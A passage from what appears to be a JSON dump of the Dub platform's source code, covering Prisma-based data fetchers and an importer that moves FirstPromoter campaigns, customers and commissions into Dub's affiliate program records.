    "content": "import { NewsArticle } from \"@/ui/layout/sidebar/news\";\nimport { cache } from \"react\";\n\nexport const getContentAPI: () => Promise<{\n  latestNewsArticles: NewsArticle[];\n}> = cache(async () => {\n  try {\n    return await fetch(\"https://dub.co/api/content\", {\n      next: {\n        revalidate: 60 * 60 * 24, // cache for 24 hours\n      },\n    }).then((res) => res.json());\n  } catch (e) {\n    return {\n      latestNewsArticles: [],\n    };\n  }\n});\n"
  },
  {
    "path": "apps/web/lib/fetchers/get-dashboard.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { cache } from \"react\";\n\nexport const getDashboard = cache(async ({ id }: { id: string }) => {\n  return await prisma.dashboard.findUnique({\n    where: {\n      id,\n    },\n    select: {\n      id: true,\n      doIndex: true,\n      password: true,\n      showConversions: true,\n      link: {\n        select: {\n          id: true,\n          domain: true,\n          key: true,\n          url: true,\n        },\n      },\n      folder: {\n        select: {\n          id: true,\n          name: true,\n        },\n      },\n      project: {\n        select: {\n          plan: true,\n        },\n      },\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/lib/fetchers/get-network-program.ts",
    "content": "import { getGroupBountySummaries } from \"@/lib/bounty/api/get-group-bounty-summaries\";\nimport { prisma } from \"@dub/prisma\";\nimport { cache } from \"react\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { programLanderSchema } from \"../zod/schemas/program-lander\";\nimport { NetworkProgramExtendedSchema } from \"../zod/schemas/program-network\";\n\nexport const getNetworkProgram = cache(async ({ slug }: { slug: string }) => {\n  const program = await prisma.program.findUnique({\n    where: {\n      slug,\n      addedToMarketplaceAt: {\n        not: null,\n      },\n    },\n    include: {\n      groups: {\n        where: {\n          slug: DEFAULT_PARTNER_GROUP.slug,\n        },\n        include: {\n          clickReward: true,\n          leadReward: true,\n          saleReward: true,\n          discount: true,\n        },\n      },\n      categories: true,\n    },\n  });\n\n  if (!program) {\n    return null;\n  }\n\n  const defaultGroup = program.groups[0];\n\n  const bounties = defaultGroup\n    ? await getGroupBountySummaries({\n        programId: program.id,\n        groupId: defaultGroup.id,\n      })\n    : [];\n\n  return NetworkProgramExtendedSchema.parse({\n    ...program,\n    rewards:\n      program.groups.length > 0\n        ? [\n            program.groups[0].clickReward,\n            program.groups[0].leadReward,\n            program.groups[0].saleReward,\n          ].filter(Boolean)\n        : [],\n    discount: program.groups.length > 0 ? program.groups[0].discount : null,\n    categories: program.categories.map(({ category }) => category),\n    landerData: program.groups?.[0]?.landerData\n      ? programLanderSchema.parse(program.groups[0].landerData)\n      : null,\n    bounties,\n  });\n});\n"
  },
  {
    "path": "apps/web/lib/fetchers/get-program-slugs.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { cache } from \"react\";\n\nexport const getProgramSlugs = cache(async () =>\n  prisma.program.findMany({\n    select: {\n      slug: true,\n    },\n  }),\n);\n"
  },
  {
    "path": "apps/web/lib/fetchers/get-program.ts",
    "content": "import { getGroupBountySummaries } from \"@/lib/bounty/api/get-group-bounty-summaries\";\nimport { prisma } from \"@dub/prisma\";\nimport { Program, Reward } from \"@dub/prisma/client\";\nimport { cache } from \"react\";\nimport { serializeReward } from \"../api/partners/serialize-reward\";\nimport { DiscountProps, GroupWithFormDataProps, RewardProps } from \"../types\";\n\ntype Result = Program & {\n  groups: GroupWithFormDataProps[];\n};\n\nexport const getProgram = cache(\n  async ({ slug, groupSlug }: { slug: string; groupSlug?: string }) => {\n    const programData = await prisma.program.findUnique({\n      where: {\n        slug,\n      },\n      ...(groupSlug && {\n        include: {\n          groups: {\n            where: {\n              slug: groupSlug,\n            },\n            include: {\n              clickReward: true,\n              leadReward: true,\n              saleReward: true,\n              discount: true,\n            },\n          },\n        },\n      }),\n    });\n\n    if (!programData) {\n      return null;\n    }\n\n    // If no group slug is provided, return the program data with no rewards or discount\n    if (!groupSlug) {\n      return {\n        ...programData,\n        group: null,\n        rewards: [],\n        discount: null,\n      };\n    }\n\n    // Extract the group data and find its rewards and discount\n    const { groups, ...program } = programData as unknown as Result;\n\n    // Group not found\n    if (groups.length === 0) {\n      return;\n    }\n\n    const group = groups[0];\n\n    const bounties = await getGroupBountySummaries({\n      programId: program.id,\n      groupId: group.id,\n    });\n\n    const rewards = [group.clickReward, group.leadReward, group.saleReward]\n      .filter((r) => r !== null)\n      .map((r) => serializeReward(r as Reward));\n\n    const discount = group.discount;\n\n    return {\n      ...program,\n      group: {\n        ...group,\n        bounties,\n      },\n      rewards: rewards as RewardProps[],\n      discount: discount as DiscountProps | null,\n    };\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/fetchers/index.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { cache } from \"react\";\nimport { getSession } from \"../auth\";\n\nexport const getDefaultWorkspace = cache(async () => {\n  const session = await getSession();\n  if (!session) {\n    return null;\n  }\n  return await prisma.project.findFirst({\n    where: {\n      users: {\n        some: {\n          userId: session.user.id,\n        },\n      },\n    },\n    select: {\n      slug: true,\n    },\n  });\n});\n\nexport const getWorkspace = cache(async ({ slug }: { slug: string }) => {\n  const session = await getSession();\n  if (!session) {\n    return null;\n  }\n  return await prisma.project.findUnique({\n    where: {\n      slug,\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      logo: true,\n      usage: true,\n      usageLimit: true,\n      plan: true,\n      stripeId: true,\n      billingCycleStart: true,\n      createdAt: true,\n      users: {\n        where: {\n          userId: session.user.id,\n        },\n        select: {\n          role: true,\n        },\n      },\n    },\n  });\n});\n\nexport const getLink = cache(\n  async ({ domain, key }: { domain: string; key: string }) => {\n    return await prisma.link.findUnique({\n      where: {\n        domain_key: {\n          domain,\n          key,\n        },\n      },\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/api.ts",
    "content": "import * as z from \"zod/v4\";\nimport { PAGE_LIMIT } from \"./importer\";\nimport {\n  firstPromoterCampaignSchema,\n  firstPromoterCommissionSchema,\n  firstPromoterCustomerSchema,\n  firstPromoterPartnerSchema,\n} from \"./schemas\";\n\nexport class FirstPromoterApi {\n  private readonly baseUrl = \"https://v2.firstpromoter.com/api/v2/company\";\n  private readonly apiKey: string;\n  private readonly accountId: string;\n\n  constructor({ apiKey, accountId }: { apiKey: string; accountId: string }) {\n    this.apiKey = apiKey;\n    this.accountId = accountId;\n  }\n\n  private async fetch<T>(path: string): Promise<T> {\n    const response = await fetch(`${this.baseUrl}${path}`, {\n      headers: {\n        Authorization: `Bearer ${this.apiKey}`,\n        \"ACCOUNT-ID\": this.accountId,\n      },\n    });\n\n    if (!response.ok) {\n      const error = await response.json();\n\n      console.error(\"FirstPromoter API Error:\", error);\n      throw new Error(error.message || \"Unknown error from FirstPromoter API.\");\n    }\n\n    return await response.json();\n  }\n\n  async testConnection() {\n    try {\n      await this.fetch(\"/promoter_campaigns?page=1&per_page=1\");\n      return true;\n    } catch (error) {\n      throw new Error(\"Invalid FirstPromoter API token.\");\n    }\n  }\n\n  async listCampaigns({ page }: { page?: number }) {\n    const searchParams = new URLSearchParams({\n      per_page: PAGE_LIMIT.toString(),\n      ...(page ? { page: page.toString() } : {}),\n    });\n\n    const campaigns = await this.fetch(\n      `/promoter_campaigns?${searchParams.toString()}`,\n    );\n\n    return firstPromoterCampaignSchema.array().parse(campaigns);\n  }\n\n  async listPartners({ page }: { page?: number }) {\n    const searchParams = new URLSearchParams();\n    searchParams.set(\"filters[state]\", \"accepted\");\n    searchParams.set(\"filters[referrals_count][from]\", \"1\");\n    searchParams.set(\"per_page\", PAGE_LIMIT.toString());\n    if (page) searchParams.set(\"page\", page.toString());\n\n    const response = await this.fetch(`/promoters?${searchParams.toString()}`);\n\n    const { data: partners } = z\n      .object({\n        data: firstPromoterPartnerSchema.array(),\n      })\n      .parse(response);\n\n    return partners;\n  }\n\n  async listCustomers({ page }: { page?: number }) {\n    const searchParams = new URLSearchParams({\n      per_page: PAGE_LIMIT.toString(),\n      ...(page ? { page: page.toString() } : {}),\n    });\n\n    const customers = (await this.fetch(\n      `/referrals?${searchParams.toString()}`,\n    )) as any[];\n\n    // filter out the customers without an associated promoter\n    const filteredCustomers = customers.filter(\n      ({ promoter_campaign }) => promoter_campaign?.promoter,\n    );\n\n    return firstPromoterCustomerSchema.array().parse(filteredCustomers);\n  }\n\n  async listCommissions({ page }: { page?: number }) {\n    const searchParams = new URLSearchParams({\n      per_page: PAGE_LIMIT.toString(),\n      ...(page ? { page: page.toString() } : {}),\n    });\n\n    const commissions = await this.fetch(\n      `/commissions?${searchParams.toString()}`,\n    );\n\n    return firstPromoterCommissionSchema.array().parse(commissions);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/import-campaigns.ts",
    "content": "import { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { prisma } from \"@dub/prisma\";\nimport { randomValue } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { createId } from \"../api/create-id\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { FirstPromoterApi } from \"./api\";\nimport { firstPromoterImporter, MAX_BATCHES } from \"./importer\";\nimport { FirstPromoterImportPayload } from \"./types\";\n\nexport async function importCampaigns(payload: FirstPromoterImportPayload) {\n  const { programId, page = 1 } = payload;\n\n  // Find the program and their groups\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      groups: true,\n    },\n  });\n\n  if (!program.domain || !program.url) {\n    console.error(\n      `domain or url not found for program ${program.id}. Skipping the import..`,\n    );\n    return;\n  }\n\n  // Groups in the program\n  const existingGroupNames = program.groups.map((group) => group.name);\n\n  const defaultGroup = program.groups.find(\n    (group) => group.slug === DEFAULT_PARTNER_GROUP.slug,\n  );\n\n  const {\n    logo,\n    wordmark,\n    brandColor,\n    holdingPeriodDays,\n    autoApprovePartnersEnabledAt,\n    additionalLinks,\n    maxPartnerLinks,\n    linkStructure,\n    applicationFormData,\n    landerData,\n  } = defaultGroup ?? {};\n\n  const credentials = await firstPromoterImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const firstPromoterApi = new FirstPromoterApi(credentials);\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentPage = page;\n\n  while (processedBatches < MAX_BATCHES) {\n    const campaigns = await firstPromoterApi.listCampaigns({\n      page: currentPage,\n    });\n\n    if (campaigns.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    // Find the campaigns that don't exist in the program\n    // We compare the group name with the campaign name\n    const newCampaigns = campaigns.filter(\n      (campaign) => !existingGroupNames.includes(campaign.campaign.name),\n    );\n\n    if (newCampaigns.length > 0) {\n      const groups = await prisma.partnerGroup.createMany({\n        data: newCampaigns.map((campaign) => ({\n          id: createId({ prefix: \"grp_\" }),\n          programId: program.id,\n          slug: slugify(campaign.campaign.name),\n          name: campaign.campaign.name,\n          color: randomValue(RESOURCE_COLORS),\n          // Use default group settings for new groups\n          logo,\n          wordmark,\n          brandColor,\n          holdingPeriodDays,\n          autoApprovePartnersEnabledAt,\n          ...(additionalLinks && { additionalLinks }),\n          ...(maxPartnerLinks && { maxPartnerLinks }),\n          ...(linkStructure && { linkStructure }),\n          ...(applicationFormData && { applicationFormData }),\n          ...(landerData && { landerData }),\n        })),\n        skipDuplicates: true,\n      });\n\n      console.log(\n        `Created ${groups.count} new groups for ${program.id}: ${newCampaigns.map(({ campaign }) => campaign.name).join(\", \")}`,\n      );\n    }\n\n    // Create default links for groups without default links\n    const groupsWithoutDefaultLinks = await prisma.partnerGroup.findMany({\n      where: {\n        programId: program.id,\n        partnerGroupDefaultLinks: {\n          none: {},\n        },\n      },\n    });\n\n    if (groupsWithoutDefaultLinks.length > 0) {\n      await prisma.partnerGroupDefaultLink.createMany({\n        data: groupsWithoutDefaultLinks.map((group) => ({\n          id: createId({ prefix: \"pgdl_\" }),\n          groupId: group.id,\n          programId: program.id,\n          domain: program.domain!,\n          url: program.url!,\n        })),\n      });\n    }\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  await firstPromoterImporter.queue({\n    ...payload,\n    action: hasMore ? \"import-campaigns\" : \"import-partners\",\n    page: hasMore ? currentPage : undefined,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/import-commissions.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport ProgramImported from \"@dub/email/templates/program-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, Customer, Link, Program } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { convertCurrencyWithFxRates } from \"../analytics/convert-currency\";\nimport { isFirstConversion } from \"../analytics/is-first-conversion\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { syncTotalCommissions } from \"../api/partners/sync-total-commissions\";\nimport { recordSaleWithTimestamp } from \"../tinybird\";\nimport { getLeadEvents } from \"../tinybird/get-lead-events\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { LeadEventTB } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { FirstPromoterApi } from \"./api\";\nimport { firstPromoterImporter, MAX_BATCHES } from \"./importer\";\nimport { FirstPromoterCommission, FirstPromoterImportPayload } from \"./types\";\n\nconst toDubStatus: Record<FirstPromoterCommission[\"status\"], CommissionStatus> =\n  {\n    pending: \"pending\",\n    approved: \"processed\",\n    denied: \"canceled\",\n  };\n\nexport async function importCommissions(payload: FirstPromoterImportPayload) {\n  const { importId, programId, userId, page = 1 } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n  });\n\n  const credentials = await firstPromoterImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const firstPromoterApi = new FirstPromoterApi(credentials);\n\n  const fxRates = await redis.hgetall<Record<string, string>>(\"fxRates:usd\");\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentPage = page;\n\n  while (processedBatches < MAX_BATCHES) {\n    const commissions = await firstPromoterApi.listCommissions({\n      page: currentPage,\n    });\n\n    if (commissions.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const commissionCustomers = commissions\n      .map(({ referral }) => referral)\n      .filter((c): c is NonNullable<typeof c> => c !== null && c !== undefined);\n\n    const customersData = await prisma.customer.findMany({\n      where: {\n        projectId: program.workspaceId,\n        OR: [\n          {\n            email: {\n              in: commissionCustomers.map(\n                ({ email }) => email.replace(\" (moved)\", \"\"), // remove the (moved) suffix\n              ),\n            },\n          },\n          {\n            externalId: {\n              in: commissionCustomers\n                .map(({ uid }) => uid)\n                .filter((c): c is NonNullable<typeof c> => c !== null),\n            },\n          },\n        ],\n      },\n      include: {\n        link: true,\n      },\n      orderBy: {\n        createdAt: \"asc\",\n      },\n    });\n\n    const customerLeadEvents = await getLeadEvents({\n      customerIds: customersData.map(({ id }) => id),\n    }).then((res) => res.data);\n\n    await Promise.allSettled(\n      commissions.map((commission) =>\n        createCommission({\n          program,\n          commission,\n          fxRates,\n          customersData,\n          customerLeadEvents,\n          importId,\n        }),\n      ),\n    );\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  await firstPromoterImporter.queue({\n    ...payload,\n    action: hasMore ? \"import-commissions\" : \"update-stripe-customers\",\n    page: hasMore ? currentPage : undefined,\n  });\n\n  // Imports finished\n  if (!hasMore) {\n    await firstPromoterImporter.deleteCredentials(program.workspaceId);\n\n    const workspaceUser = await prisma.projectUsers.findUniqueOrThrow({\n      where: {\n        userId_projectId: {\n          userId,\n          projectId: program.workspaceId,\n        },\n      },\n      include: {\n        project: true,\n        user: true,\n      },\n    });\n\n    if (workspaceUser && workspaceUser.user.email) {\n      await sendEmail({\n        to: workspaceUser.user.email,\n        subject: \"FirstPromoter campaign imported\",\n        react: ProgramImported({\n          email: workspaceUser.user.email,\n          workspace: workspaceUser.project,\n          program,\n          provider: \"FirstPromoter\",\n          importId,\n        }),\n      });\n    }\n  }\n}\n\nasync function createCommission({\n  program,\n  commission,\n  fxRates,\n  customersData,\n  customerLeadEvents,\n  importId,\n}: {\n  program: Program;\n  commission: FirstPromoterCommission;\n  fxRates: Record<string, string> | null;\n  customersData: (Customer & { link: Link | null })[];\n  customerLeadEvents: LeadEventTB[];\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"firstpromoter\",\n    entity: \"commission\",\n    entity_id: `${commission.id}`,\n  } as const;\n\n  if (commission.is_self_referral) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"SELF_REFERRAL\",\n      message: `Self-referral commission ${commission.id}.`,\n    });\n\n    return;\n  }\n\n  if (commission.unit !== \"cash\") {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"NOT_SUPPORTED_UNIT\",\n      message: `Invalid unit ${commission.unit} for commission ${commission.id}.`,\n    });\n\n    return;\n  }\n\n  // Find the commission\n  const commissionFound = await prisma.commission.findUnique({\n    where: {\n      invoiceId_programId: {\n        invoiceId: `${commission.id}`, // this is not the actual invoice ID, but we use this to deduplicate the sales\n        programId: program.id,\n      },\n    },\n  });\n\n  if (commissionFound) {\n    return;\n  }\n\n  // Find the customer\n  const customer = customersData.find(\n    ({ email }) => email === commission.referral?.email,\n  );\n\n  if (!customer) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_NOT_FOUND\",\n      message: `No customer ${commission.referral?.email} found for commission ${commission.id}.`,\n    });\n\n    return;\n  }\n\n  // Sale amount (can potentially be null)\n  let saleAmount = Number(commission.original_sale_amount ?? 0);\n  const saleCurrency = commission.original_sale_currency ?? \"usd\";\n\n  if (saleAmount > 0 && saleCurrency.toUpperCase() !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: saleCurrency,\n      amount: saleAmount,\n      fxRates,\n    });\n\n    saleAmount = convertedAmount;\n  }\n\n  // Earnings\n  let earnings = commission.amount;\n\n  // here, we also check for commissions that have already been recorded on Dub\n  // e.g. during the transition period\n  // since we don't have the Stripe invoiceId from Rewardful, we use the referral's Stripe customer ID\n  // and check for commissions that were created with the same amount and within a +-1 hour window\n  const chargedAt = new Date(commission.created_at);\n  const trackedCommission = await prisma.commission.findFirst({\n    where: {\n      customerId: customer.id,\n      programId: program.id,\n      createdAt: {\n        gte: new Date(chargedAt.getTime() - 60 * 60 * 1000), // 1 hour before\n        lte: new Date(chargedAt.getTime() + 60 * 60 * 1000), // 1 hour after\n      },\n      type: \"sale\",\n      amount: saleAmount,\n    },\n  });\n\n  if (trackedCommission) {\n    console.log(\n      `Commission ${trackedCommission.id} with sale amount ${saleAmount} was already recorded on Dub. Skipping...`,\n    );\n\n    return;\n  }\n\n  if (!customer.linkId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `No link found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customer.clickId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CLICK_NOT_FOUND\",\n      message: `No click ID found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customer.link?.partnerId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"PARTNER_NOT_FOUND\",\n      message: `No partner ID found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  // Find the customer lead event\n  const leadEvent = customerLeadEvents.find(\n    (event) => event.customer_id === customer.id,\n  );\n\n  if (!leadEvent) {\n    console.log(`No lead event found for customer ${customer.id}.`);\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LEAD_NOT_FOUND\",\n      message: `No lead event found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  // Customer click event\n  const clickData = clickEventSchemaTB\n    .omit({ timestamp: true })\n    .parse(leadEvent);\n\n  const eventId = nanoid(16);\n\n  // Decide the commission status\n  let status: CommissionStatus = toDubStatus[commission.status];\n\n  if (commission.is_paid) {\n    status = \"paid\";\n  }\n\n  await Promise.allSettled([\n    prisma.commission.create({\n      data: {\n        id: createId({ prefix: \"cm_\" }),\n        eventId,\n        type: commission.commission_type,\n        programId: program.id,\n        partnerId: customer.link.partnerId,\n        linkId: customer.linkId,\n        customerId: customer.id,\n        amount: saleAmount,\n        earnings,\n        currency: \"usd\",\n        quantity: 1,\n        status,\n        invoiceId: `${commission.id}`, // this is not the actual invoice ID, but we use this to deduplicate the sales\n        createdAt: new Date(commission.created_at),\n        description: commission.external_note || null,\n      },\n    }),\n\n    recordSaleWithTimestamp({\n      ...clickData,\n      event_id: eventId,\n      event_name: \"Invoice paid\",\n      amount: saleAmount,\n      customer_id: customer.id,\n      payment_processor: \"stripe\",\n      currency: \"usd\",\n      metadata: JSON.stringify(commission.metadata),\n      timestamp: new Date(commission.created_at).toISOString(),\n    }),\n\n    // update link stats\n    prisma.link.update({\n      where: {\n        id: customer.linkId,\n      },\n      data: {\n        ...(isFirstConversion({\n          customer: customer,\n          linkId: customer.linkId,\n        }) && {\n          conversions: {\n            increment: 1,\n          },\n          lastConversionAt: updateLinkStatsForImporter({\n            currentTimestamp: customer.link.lastConversionAt,\n            newTimestamp: new Date(commission.created_at),\n          }),\n        }),\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: saleAmount,\n        },\n      },\n    }),\n\n    syncPartnerLinksStats({\n      partnerId: customer.link.partnerId,\n      programId: program.id,\n      eventType: \"sale\",\n    }),\n\n    // update customer stats\n    prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: saleAmount,\n        },\n        firstSaleAt: customer.firstSaleAt ? undefined : new Date(),\n      },\n    }),\n  ]);\n\n  await syncTotalCommissions({\n    partnerId: customer.link.partnerId,\n    programId: program.id,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/import-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Customer, Link, Project } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { recordClick, recordLeadWithTimestamp } from \"../tinybird\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { FirstPromoterApi } from \"./api\";\nimport { firstPromoterImporter, MAX_BATCHES } from \"./importer\";\nimport { FirstPromoterCustomer, FirstPromoterImportPayload } from \"./types\";\n\nexport async function importCustomers(payload: FirstPromoterImportPayload) {\n  const { importId, programId, page = 1 } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      workspace: {\n        select: {\n          id: true,\n          stripeConnectId: true,\n        },\n      },\n    },\n  });\n\n  const { workspace } = program;\n\n  const credentials = await firstPromoterImporter.getCredentials(workspace.id);\n  const firstPromoterApi = new FirstPromoterApi(credentials);\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentPage = page;\n\n  while (processedBatches < MAX_BATCHES) {\n    const customers = await firstPromoterApi.listCustomers({\n      page: currentPage,\n    });\n\n    if (customers.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    // Find the partners by their email address\n    const promoters = customers.map(\n      ({ promoter_campaign }) => promoter_campaign.promoter,\n    );\n\n    const partners = await prisma.partner.findMany({\n      where: {\n        email: {\n          in: promoters.map(({ email }) => email),\n        },\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    const partnerIds = partners.map(({ id }) => id);\n\n    if (partnerIds.length > 0) {\n      // Find the program enrollments by the partner ids\n      const programEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          partnerId: {\n            in: partnerIds,\n          },\n          programId,\n        },\n        select: {\n          partner: {\n            select: {\n              email: true,\n            },\n          },\n          links: {\n            select: {\n              id: true,\n              key: true,\n              domain: true,\n              url: true,\n              partnerId: true,\n              programId: true,\n              lastLeadAt: true,\n            },\n          },\n        },\n      });\n\n      const partnerEmailToLinks = programEnrollments.reduce(\n        (acc, { partner, links }) => {\n          const email = partner.email!; // assert non-null\n          acc[email] = (acc[email] ?? []).concat(links);\n          return acc;\n        },\n        {} as Record<string, (typeof programEnrollments)[number][\"links\"]>,\n      );\n\n      const partnerEmailToLatestLeadAt = customers.reduce(\n        (acc, customer) => {\n          if (!customer.promoter_campaign.promoter.email) {\n            return acc;\n          }\n          const existing =\n            acc[customer.promoter_campaign.promoter.email] ?? new Date(0);\n          if (new Date(customer.created_at) > existing) {\n            acc[customer.promoter_campaign.promoter.email] = new Date(\n              customer.created_at,\n            );\n          }\n          return acc;\n        },\n        {} as Record<string, Date>,\n      );\n\n      const existingCustomers = await prisma.customer.findMany({\n        where: {\n          projectId: workspace.id,\n          OR: [\n            { email: { in: customers.map(({ email }) => email) } },\n            {\n              externalId: {\n                in: customers\n                  .map(({ uid }) => uid)\n                  .filter((c): c is NonNullable<typeof c> => c !== null),\n              },\n            },\n          ],\n        },\n      });\n\n      await Promise.allSettled(\n        customers.map((customer) => {\n          const links =\n            partnerEmailToLinks[customer.promoter_campaign.promoter.email] ??\n            [];\n\n          return createCustomer({\n            workspace,\n            links,\n            customer,\n            existingCustomers,\n            latestLeadAt:\n              partnerEmailToLatestLeadAt[\n                customer.promoter_campaign.promoter.email\n              ],\n            importId,\n          });\n        }),\n      );\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  await firstPromoterImporter.queue({\n    ...payload,\n    action: hasMore ? \"import-customers\" : \"import-commissions\",\n    page: hasMore ? currentPage : undefined,\n  });\n}\n\nasync function createCustomer({\n  workspace,\n  links,\n  customer,\n  existingCustomers,\n  latestLeadAt,\n  importId,\n}: {\n  workspace: Pick<Project, \"id\" | \"stripeConnectId\">;\n  links: Pick<\n    Link,\n    \"id\" | \"key\" | \"domain\" | \"url\" | \"partnerId\" | \"programId\" | \"lastLeadAt\"\n  >[];\n  customer: FirstPromoterCustomer;\n  existingCustomers: Customer[];\n  latestLeadAt: Date;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"firstpromoter\",\n    entity: \"customer\",\n    entity_id: `${customer.id}`,\n  } as const;\n\n  if (links.length === 0) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `Link not found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customer.email) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_EMAIL_NOT_FOUND\",\n      message: `Email not found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  // Find the customer by email address\n  const customerFound = existingCustomers.find(\n    (c) => c.email === customer.email || c.externalId === customer.uid,\n  );\n\n  if (customerFound) {\n    console.log(`A customer already exists with email ${customer.email}`);\n    return;\n  }\n\n  const link = links[0];\n\n  const dummyRequest = new Request(link.url, {\n    headers: new Headers({\n      \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n      \"x-forwarded-for\": \"127.0.0.1\",\n      \"x-vercel-ip-country\": \"US\",\n      \"x-vercel-ip-country-region\": \"CA\",\n      \"x-vercel-ip-continent\": \"NA\",\n    }),\n  });\n\n  const clickData = await recordClick({\n    req: dummyRequest,\n    clickId: nanoid(16),\n    workspaceId: workspace.id,\n    linkId: link.id,\n    domain: link.domain,\n    key: link.key,\n    url: link.url,\n    skipRatelimit: true,\n    timestamp: new Date(customer.created_at).toISOString(),\n  });\n\n  const clickEvent = clickEventSchemaTB.parse({\n    ...clickData,\n    bot: 0,\n    qr: 0,\n  });\n\n  const customerId = createId({ prefix: \"cus_\" });\n  const customerName =\n    (customer.first_name && customer.last_name\n      ? `${customer.first_name} ${customer.last_name}`\n      : customer.first_name || customer.last_name) || customer.email;\n\n  try {\n    await prisma.customer.create({\n      data: {\n        id: customerId,\n        name: customerName,\n        email: customer.email,\n        projectId: workspace.id,\n        projectConnectId: workspace.stripeConnectId,\n        clickId: clickEvent.click_id,\n        linkId: link.id,\n        programId: link.programId,\n        partnerId: link.partnerId,\n        country: clickEvent.country,\n        clickedAt: new Date(customer.created_at),\n        createdAt: new Date(customer.created_at),\n        externalId: customer.uid || customer.email,\n      },\n    });\n\n    await Promise.allSettled([\n      recordLeadWithTimestamp({\n        ...clickEvent,\n        event_id: nanoid(16),\n        event_name: \"Sign up\",\n        customer_id: customerId,\n        timestamp: new Date(customer.created_at).toISOString(),\n        metadata: customer.metadata ? JSON.stringify(customer.metadata) : \"\",\n      }),\n\n      prisma.link.update({\n        where: {\n          id: link.id,\n        },\n        data: {\n          leads: {\n            increment: 1,\n          },\n          lastLeadAt: updateLinkStatsForImporter({\n            currentTimestamp: link.lastLeadAt,\n            newTimestamp: latestLeadAt,\n          }),\n        },\n      }),\n\n      // partner links should always have a partnerId and programId, but we're doing this to make TS happy\n      ...(link.partnerId && link.programId\n        ? [\n            syncPartnerLinksStats({\n              partnerId: link.partnerId,\n              programId: link.programId,\n              eventType: \"lead\",\n            }),\n          ]\n        : []),\n    ]);\n  } catch (error) {\n    console.error(\"Error creating customer\", customer, error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/import-partners.ts",
